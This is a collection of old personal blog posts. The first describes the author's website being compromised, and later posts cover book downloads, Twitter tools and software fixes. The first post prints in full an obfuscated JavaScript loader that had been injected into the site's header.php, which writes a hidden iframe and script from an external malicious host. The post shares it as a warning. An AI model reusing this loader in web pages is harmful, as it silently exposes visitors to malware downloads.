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Trouble with js/downloader.agent

Harsh Singh — Wed, 10 Mar 2010 10:58:08 +0000

I don’t the how it happen , but since last few days whenever I opened my site , my AVG would pop up warning about some malicious javascript . I never paid much attention to this , afterall they even detect harmless keygens as trojans too . So I never took this seriously , hoping that everything will be fine in few days ( height of optimism ) .

But AVG kept on threatening me , and when my readers complained about this too , I got a little worried . I knew there was a javascript , and I know it was something related to a downloader agent . I knew where to start from . I google it straight away ( Bless google . Without you , we would be helpless ) . But mr. google failed as the only information I could gather that it was some phishing attack ( XSS , iframe ) but didn’t knew how to fix this problem .

Starting from scratch , I checked all my files for something “malicious” . And guess what I got . This bit of code was hiding in header.php .

s cript language=javascript><!– document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E’));dF(‘%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1′) // –></mce:script><br />

No idea where this thing came from . Lesson learnt : always take your antivirus seriously and a XSS / iframe attack even more seriously .

Jagriti ‘10 :: RKGIT’s Annual Tech Fest

Harsh Singh — Fri, 12 Feb 2010 14:48:16 +0000

JAGRITI has been an event regularly followed by the technical fraternity and deemed to regressively inculcate scientific and technical temper in the budding technocrats of the nation. Various competitions and workshops at the event give vent to the technical skills acquired by the students and let them compete with the best in the business, thus giving insight to their level of skill and the job needed to be done for enriching the quantum of knowledge.

â€œShrinking the technological cosmos!â€ has achieved its true meaning and implementation after Jagriti only.

The events are judged by highly accredited individuals from respective fields. The competition is tough and demanding. We, hereby invite you to this tussle of minds and intellect.

Jagriti is to wake all up, gear up and generate the intellect as famously said…“Intellectuals solve problems, geniuses prevent them.”

For more information visit the Jagriti Blog

Solving Counter Strike + IDM problem

Harsh Singh — Mon, 02 Nov 2009 16:50:32 +0000

The reason Counter Strike freezes when you have got IDM installed in your system is due to IEMonitor.exe ( which is used for browser integration )

Solution :

In Internet Download Manager, click Downloading -> Options -> General.

There, you have to uncheck the intergration for IE and IE based browsers and secondly, uncheck the “Run module for monitoring in IE-based browsers (MSN, Avant…)” and press Ok. <– This actually stops launching IEMonitor.exe and hence solves it all.

The Twilight Saga :: Download

Harsh Singh — Fri, 16 Oct 2009 22:17:33 +0000

Twilight is a series of four vampire-based fantasy/romance novels by American author Stephenie Meyer. It charts a period in the life of Isabella “Bella” Swan, a teenage girl who moves to Forks, Washington and falls in love with a 104-year-old vampire named Edward Cullen. The series is told primarily from Bella’s point of view, with the epilogue of Eclipse and Part II of Breaking Dawn being told from the viewpoint of characterJacob Black, a werewolf. The unpublished Midnight Sun is a retelling of the first book, Twilight, from Edward Cullen’s point of view.

Click on the image to download all the four books .

Use laalten .. save Energy .. !!

Harsh Singh — Fri, 16 Oct 2009 17:03:30 +0000

There is no need reminding everyone how crucial electric power is in current scenario . Rome was not built in a day , neither will this power be solved in a day . It needs continous effort of all of us in the direction of progress . We can’t hope to change the very top and hope for this change to trickle down the system . We need to change the base , no matter how insignificant it may be .

One of the ways through which we can save a lot of power while using the web is as follows :

There is point denying that we put google search engine to a lot of use in our day to day life . We love to google things , don’t we .

A research suggested that a black version of the Google would save a lot of energy.
www.laalten.com ( http://www.laalten.com was created inspired by this theory)

This is a search engine powered by Google.
It saves energy because the screen is predominantly black.

Join your hands in this enegry saving mission.

Always use this site for search and make sure to SET IT AS YOUR HOME PAGE.

Please spread the good word among your friends, neighbours.

Lets use www.laalten.com and save energy.

Configuring Pigdin behind a proxy

Harsh Singh — Sun, 11 Oct 2009 21:24:57 +0000

Its pretty easy to configure pigdin behind a proxy to work with your gtalk account :

Twouble with Twitters

Harsh Singh — Thu, 30 Jul 2009 14:43:27 +0000

Funny video depicting the widespread addiction to the thing called “Twitter” … A young man struggles against the pressure to Twitter his life away. From: “SuperNews!” An animated sketch comedy series

The Alchemist :: Download

Harsh Singh — Mon, 13 Jul 2009 15:10:43 +0000

The Alchemist is an allegorical novel by Paulo Coelho first published in 1988. It follows Santiago, a young Spanish shepherd, on a journey to fulfill his Personal Legend. It has been hailed as a modern classic. The plot is inspired from Jorge Luis Borges’ short story: Tale of two dreamers.
The Alchemist was originally written in Portuguese and has since been translated into 67 languages, winning the Guinness World Record for most translated book by a living author. It has sold more than 65 million copies in more than 150 countries, becoming one of the best-selling books in history.

(Source : Wikipedia)

Download : Link

Bug Me Not :: Bypass Compulsory Registration

Harsh Singh — Sat, 13 Jun 2009 17:57:52 +0000

While surfing the net , you might have come across a number of websites that force you to register before you can see their stuff , read the forum or download something . This can be quite irritating , filling out all the information plus the daily/weekly newsletter few of these sites send you is of no good either .

While stumbling , I came across a site which provides an excellent medium to retrieve and share login credintials of such sites . In short “Find and share logins for websites that force you to register” . Share your information and benefit from the information other share .

Top #15 Twitter Applications

Harsh Singh — Tue, 09 Jun 2009 17:49:39 +0000

Twitter is a microblogging social networking website which is gaining immense popularity day by day . Its just like sending a sms to the world in 140 words . So , have you been an active participant in all these follow and get followed thing . These twitter applications can prove to be great tools to extend your twitter functionality .

TwitScoop

A search tool that tracks trends as well as certain events.

Just Tweet It

The Tweeter Directory
Choose a category and find other Twitter users or list your name to let people find you!

Twitterholic

Find out who the top twitter users are and check your ranking .